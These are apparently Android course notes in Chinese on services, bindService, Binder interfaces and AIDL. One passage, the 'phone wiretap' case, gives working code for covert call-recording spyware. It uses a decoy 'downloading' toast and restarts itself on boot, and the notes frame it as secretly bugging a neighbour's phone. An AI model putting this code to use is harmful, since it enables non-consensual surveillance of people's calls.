進程概念介紹
- 進程和程序:在內存裏運行着的是進程。硬盤上的可行行文件是程序。
- 進程和線程:程序的主體就是進程。一個進程裏面可以有很多個子線程。
- Android 啓動一個應用的時候會自動創建一個進程和線程,也就是主線程,我們的四大組件都是運行在主線程的。
- 進程的生命週期:當內存不足的時候,需要殺掉一些進程,優先級越低越容易被殺掉
- Foreground process 前臺進程。用戶正在操作的進程。
- 執行了 onResume 的 Activity
- 正在執行生命週期方法的 Activity、Service、BroadcastReceiver
- 有綁定服務到可操作界面的進程
- Visible process 可見進程。已經不可操作,但是仍然可見的進程
- 執行了 onPause 的 Activity
- 有綁定服務到可見界面的進程
- Service process 服務進程。開啓服務,同時沒有可操作或可見界面的進程。
- Background process 後臺進程。只有不可見界面的進程。
- 進程裏只有執行了 onStop 的 Activity
- Empty process 空進程。不包含四大組件的進程。
- Foreground process 前臺進程。用戶正在操作的進程。
startService 方式開啓服務的特點
Android 裏的服務是一個在後臺運行的組件,是沒有界面的 Actvitiy
- 退出開啓服務的界面後,服務仍然在運行
- 要關閉服務只能是調用了 stopService 方法 ,或者用戶從系統設置裏關閉
startService 的生命週期
啓動到關閉;重複啓動以及重複關閉;退出啓動界面
- onCreate 只會在第一次啓動時執行
- onStartCommand 在每一次調用 startService 啓動服務的時候都會執行
- onDestroy 只會在服務銷燬的只會執行一次
線程和服務的區別
當退出主界面後,在系統設置裏可以看到服務,但是看不到子線程
- 當進程裏沒有四大組件運行,只有一個子線程的時候,是一個
空進程
,進程隨時可能被回收 - 當進程只有一個服務的時候,是一個服務進程,不容易被殺死。
- 服務是運行在主線程的,如果要做耗時操作,需要開啓子線程。
電話竊聽器案例
錄音需要權限 RECORD_AUDIO, 異常裏看不到權限
- 作爲一名特工,黨又一次給你安排任務。給隔壁老王安裝一個監聽軟件,將他所有的通話都錄音下來。
- 清單文件
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.itheima.phonelistenerservice"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.itheima.phonelistenerservice.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- 3.在清單文件註冊 -->
<service android:name="com.itheima.phonelistenerservice.PhoneListenerService">
</service>
<receiver android:name="com.itheima.phonelistenerservice.BootReceiver">
<intent-filter >
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
</manifest>
- 主界面代碼
// 開啓後臺今天服務
public void click(View view) {
// 特工的職業素養
Toast.makeText(MainActivity.this, "正在下載,請稍後~~~~", 0).show();
// 開啓監聽服務
Intent intent = new Intent(MainActivity.this, PhoneListenerService.class);
startService(intent);
}
- 服務裏的代碼
// 1. 繼承 Service
public class PhoneListenerService extends Service {
// 2. 處理生命週期方法
@Override
public void onCreate() {
super.onCreate();
// 註冊電話監聽
TelephonyManager manager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
manager.listen(new PhoneStateListener(){
private MediaRecorder recorder;
@Override
public void onCallStateChanged(int state, String incomingNumber) {
System.out
.println("onCallStateChanged,state="+state+";incomingNumber="+incomingNumber);
// 判斷電話狀態
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:
// 空閒或者掛斷電話。釋放資源
System.out.println("掛斷電話,釋放錄音資源");
// 釋放硬件資源
if (recorder!=null) {
recorder.stop();
recorder.reset(); // You can reuse the object by going back to setAudioSource() step
recorder.release(); // Now the object cannot be reused
}
break;
case TelephonyManager.CALL_STATE_RINGING:
// 來電響鈴。準備硬件資源
System.out.println("電話響鈴,準備錄音資源");
try {
recorder = new MediaRecorder();
// 設置錄製的聲音來源。注意:模擬器上只能使用 MIC
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 設置音頻格式
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
// 設置音頻的編碼
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
// 設置保存路徑
recorder.setOutputFile("/mnt/sdcard/luyin.3gp");
// 準備硬件資源
recorder.prepare();
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK:
// 接通的電話。開始錄音
System.out.println("電話接通,開始錄音");
// 開始錄音
recorder.start(); // Recording is now started
break;
}
}
}, PhoneStateListener.LISTEN_CALL_STATE);
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
- 開機啓動的代碼
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
System.out.println("BootReceiver.onReceive,");
// 開機時啓動監聽服務
Intent service = new Intent(context, PhoneListenerService.class);
context.startService(service);
}
}
使用服務註冊特殊的廣播接收者
- 後臺服務的代碼
public class ScreenService extends Service {
private ScreenReceiver receiver;
@Override
public void onCreate() {
super.onCreate();
IntentFilter filter = new IntentFilter();
filter.addAction("android.intent.action.SCREEN_OFF");
filter.addAction("android.intent.action.SCREEN_ON");
receiver = new ScreenReceiver();
// 動態註冊廣播接收者
registerReceiver(receiver, filter );
}
@Override
public void onDestroy() {
super.onDestroy();
// 服務關閉時,註銷動態的廣播接收者
unregisterReceiver(receiver);
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
- 主界面的代碼
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// 開啓後臺服務,監聽屏幕狀態
Intent intent = new Intent(MainActivity.this, ScreenService.class);
startService(intent);
}
bindService 開啓服務的特點
- onCreate 只在第一次啓動時執行
- onBind 一個 Activity 只能綁定一次
- onDestroy 當所有已經綁定的界面都解綁之後,纔會執行
- 同生共死,當綁定的界面退出之後,會自動解綁,並關閉服務
- 系統設置裏不可見,對用戶來說是隱形的
爲什麼要引入 bindService
Service對象是系統創建,我們沒有對象來調用服務裏的方法.
可以被多個Activity綁定,重用代碼
- Activity的代碼更乾淨
通過 bindService 方式調用服務裏面方法的過程
- 創建一個 BanZhengService,並提供 banzheng 方法
- 在 BanZhengService 裏創建 MyBinder 繼承 Binder,並提供一個 callBanZheng 方法
- 在 BanZhengService 的 onBind 方法裏返回一個 MyBinder 的對象
- 在 Activity 裏綁定服務,並創建 MyConn 實現 ServiceConnection 接口
- 在 MyConn 的 onServiceConnected 獲取到傳遞過來的 MyBinder 對象
- 使用 MyBInder 對象訪問服務裏的方法
- 服務裏的代碼
// 1. 繼承 Service
public class BanZhengService extends Service {
// 2. 處理生命週期方法
@Override
public IBinder onBind(Intent intent) {
System.out.println("BanZhengService.onBind,");
return new MyBinder();
}
// 派出所:提供辦證業務,但是不允許外部訪問
private void banzheng(int money) {
if (money > 200) {
System.out.println("有錢能使鬼推磨,這證我給你辦了");
} else {
System.out.println("巧婦難爲無米之炊,這事難哪");
}
}
// 開放一個代理人,代理辦證
public class MyBinder extends Binder{
// 提供代理方法,處理辦證功能
public void callBanZheng(int money) {
banzheng(money);
}
}
}
- Activity裏的代碼
public class MainActivity extends Activity {
private MyConn conn;
private MyBinder binder;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// 綁定服務
Intent service = new Intent(MainActivity.this, BanZhengService.class);
conn = new MyConn();
bindService(service , conn, BIND_AUTO_CREATE);
}
@Override
protected void onDestroy() {
super.onDestroy();
// 解綁服務
unbindService(conn);
}
// 調用服務裏的辦證方法
public void click(View view) {
// 請求代理人幫忙辦證
binder.callBanZheng(199);
}
// 綁定服務時需要傳遞的對象
private class MyConn implements ServiceConnection{
@Override
// 在服務綁定成功時被調用
public void onServiceConnected(ComponentName name, IBinder service) {
System.out.println("MainActivity.onServiceConnected,service="+service);
// 連接成功,獲取代理人對象
binder = (MyBinder) service;
}
@Override
// 在服務解綁的時候被調用
public void onServiceDisconnected(ComponentName name) {
}
}
}
通過接口方式調用服務裏面的方法
- 創建 IService 接口,定義 callBanZheng 方法
- 創建 MyBinder 類繼承 Binder 並實現 IService 接口,並實現 callBanZheng 方法。
- 在 onBind 方法 返回 MyBinder 對象
- 在 Activity 裏從 onServiceConnected 方法將 IBinder 對象轉換爲 IService 類型
- 調用 IService 實例的方法
- 定義接口
public interface IService {
void callBanZheng(int money);
}
- 創建 MyBinder
// 開放一個代理人,代理辦證
public class MyBinder extends Binder implements IService{
// 提供代理方法,處理辦證功能
public void callBanZheng(int money) {
banzheng(money);
}
public void callDaMaJiang() {
daMaJiang();
}
public void callDouDiZhu() {
douDiZhu();
}
}
- 在 Activity 裏獲取 IService 實例
// 綁定服務時需要傳遞的對象
private class MyConn implements ServiceConnection{
@Override
// 在服務綁定成功時被調用
public void onServiceConnected(ComponentName name, IBinder service) {
System.out.println("MainActivity.onServiceConnected,service="+service);
// 連接成功,獲取代理人對象
iService = (IService) service;
}
@Override
// 在服務解綁的時候被調用
public void onServiceDisconnected(ComponentName name) {
}
}
百度用音樂盒框架
先使用startService還是bindServie
- 主界面提供按鈕:播放、暫停、恢復播放 – 需要 bindService
- 當退出主界面後:繼續播放音樂 – 需要 startService
- 一般是先 startService,再 bindService,當關閉服務的時候,先 unbindService,再 stopService
- 服務的代碼
package com.itheima.music;
import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder;
// 1. 繼承 Service
public class MusicService extends Service {
// 2. 處理生命週期方法
@Override
public void onCreate() {
super.onCreate();
System.out.println("MusicService.onCreate,");
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
System.out.println("MusicService.onStartCommand,");
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onDestroy() {
super.onDestroy();
System.out.println("MusicService.onDestroy");
}
@Override
public IBinder onBind(Intent intent) {
System.out.println("MusicService.onBind,");
return new MyBinder();
}
@Override
public boolean onUnbind(Intent intent) {
System.out.println("MusicService.onUnbind");
return super.onUnbind(intent);
}
// 播放音樂
private void play() {
System.out.println("MusicService.開始播放音樂");
}
// 暫停播放
private void pause() {
System.out.println("MusicService.停止播放");
}
// 恢復播放
private void replay() {
System.out.println("MusicService.恢復播放");
}
// 創建中間人
private class MyBinder extends Binder implements IService{
@Override
public void callPlay() {
play();
}
@Override
public void callPause() {
pause();
}
@Override
public void callReplay() {
replay();
}
}
}
- 接口的代碼
package com.itheima.music;
public interface IService {
// 播放
void callPlay();
// 暫停
void callPause();
// 恢復播放
void callReplay();
}
- MainActivity 的代碼
public class MainActivity extends Activity {
private MyConnection connection;
private IService iService;
private final class MyConnection implements
ServiceConnection {
@Override
// 解綁成功
public void onServiceDisconnected(ComponentName name) {
}
@Override
// 綁定成功
public void onServiceConnected(ComponentName name, IBinder service) {
iService = (IService) service;
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// 開啓音樂服務
Intent intent = new Intent(MainActivity.this, MusicService.class);
startService(intent);
connection = new MyConnection();
bindService(intent, connection, BIND_AUTO_CREATE);
}
@Override
protected void onDestroy() {
super.onDestroy();
// 解綁服務
unbindService(connection);
}
// 播放音樂
public void click1(View view) {
iService.callPlay();
}
// 暫停播放
public void click2(View view) {
iService.callPause();
}
// 恢復播放
public void click3(View view) {
iService.callReplay();
}
}
AIDL 介紹
遠程服務、本地服務;進程間通信:不在一個包無法調用對方方法
遠程服務的處理
- 創建一個 IService 接口,並將後綴名修改爲 aidl。並刪掉文件裏的 public。
- 創建 MyBinder 繼承自動生成的 Stub 抽象類,並實現裏面的方法。
- 在 onBind 方法裏返回一個 MyBinder 對象
本地項目的處理
創建和遠程服務相同 aidl 文件,並放到遠程服務相同的包名下
綁定服務,並在 MyConn 的 onServiceConnected 方法裏將 IBinder 對象轉換爲 IService 類型
iService = IService.Stub.asInterface(service);
- 調用 IService 對象的方法
AIDL 的應用場景 歡樂鬥地主 使用 支付寶 充值
- 需求:支付寶提供服務付款服務。歡樂鬥地主調用支付寶充值。